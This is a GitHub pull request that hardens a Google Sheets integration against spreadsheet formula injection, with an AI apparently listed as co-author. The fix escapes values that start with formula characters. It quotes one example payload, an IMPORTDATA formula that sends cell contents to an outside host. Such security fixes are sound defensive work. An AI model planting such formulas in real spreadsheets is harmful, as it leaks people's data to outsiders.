Skip to content

fix(sheets): store pushed values as text instead of evaluating formulas - #101

Open
rudycelekli wants to merge 1 commit into
debpalash:mainfrom
rudycelekli:fix/sheets-destination-formula-injection-20261014
Open

rudycelekli wants to merge 1 commit into
debpalash:mainfrom
rudycelekli:fix/sheets-destination-formula-injection-20261014

Conversation

@rudycelekli

@rudycelekli rudycelekli commented Oct 14, 2026 •

Copy link
Copy Markdown
Contributor

Summary

apps/api/services/integrations/sheets.py (append_row, used by the workbook sheets output column, and upsert_row, used by audience destinations) writes with valueInputOption=USER_ENTERED, so Sheets evaluates any value that begins with =. Row values come from scraped or enriched third-party data, so a company name like =IMPORTDATA("https://host/?d="&A1) would be evaluated inside the customer's spreadsheet. Values starting with + (every international phone number) were also reinterpreted by Sheets rather than stored as written.

Security-sensitive note (per CONTRIBUTING): this is output encoding on an outbound integration. It does not touch auth, tenancy, the SSRF guard or secrets, and the change is the same spreadsheet-injection hardening the workbook CSV export and the audit export already apply.

Change

_cell() renders each value; strings starting with =, +, -, @, tab or carriage return get a leading apostrophe (stored as text, not displayed by Sheets, and documented behavior for USER_ENTERED). Plain numbers (42, -7, 3.5) and all other text are unchanged. USER_ENTERED itself is kept so dates and numbers still parse.

Evidence

New tests/test_sheets_formula_injection.py against append_row and upsert_row with a fake HTTP client. On current main:

FAILED test_append_row_stores_formula_like_text_verbatim   (sent '=IMPORTDATA(...)', '+1 555 0100', '@cmd' unchanged)
FAILED test_upsert_row_stores_formula_like_text_verbatim

Verification

  • After: uv run pytest tests/test_sheets_formula_injection.py tests/test_sheets_tenancy.py tests/test_audience_destinations.py tests/test_workbook_output_dependencies.py tests/test_workbook_refresh_cell_scope.py: 60 passed.
  • Not verified: a live write to Google Sheets (no credentials used); the apostrophe behavior is from Google's documented USER_ENTERED semantics, and the test checks the exact payload sent. Full backend suite, PostgreSQL suite and frontend not run.
  • Open question for you: numbers with a leading + or - that are plain digits (-7) stay numeric by design; say if you prefer to force text for them too.

Commit is signed off per the DCO.

The Google Sheets destination writes rows with valueInputOption=USER_ENTERED,
so Sheets evaluates any value that starts with "=". Row values are scraped or
enriched from third-party pages, so a company name such as =IMPORTDATA(...)
would run in the customer's spreadsheet, where it can send the sheet's other
cells to an outside host. Phone numbers that start with "+" were also
reinterpreted instead of kept as written.

Prefix values that start with =, +, -, @, tab or carriage return with an
apostrophe, which Sheets stores as text and does not display. Plain numbers
and everything else are written as before.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Signed-off-by: Rudy Celekli <47457359+rudycelekli@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant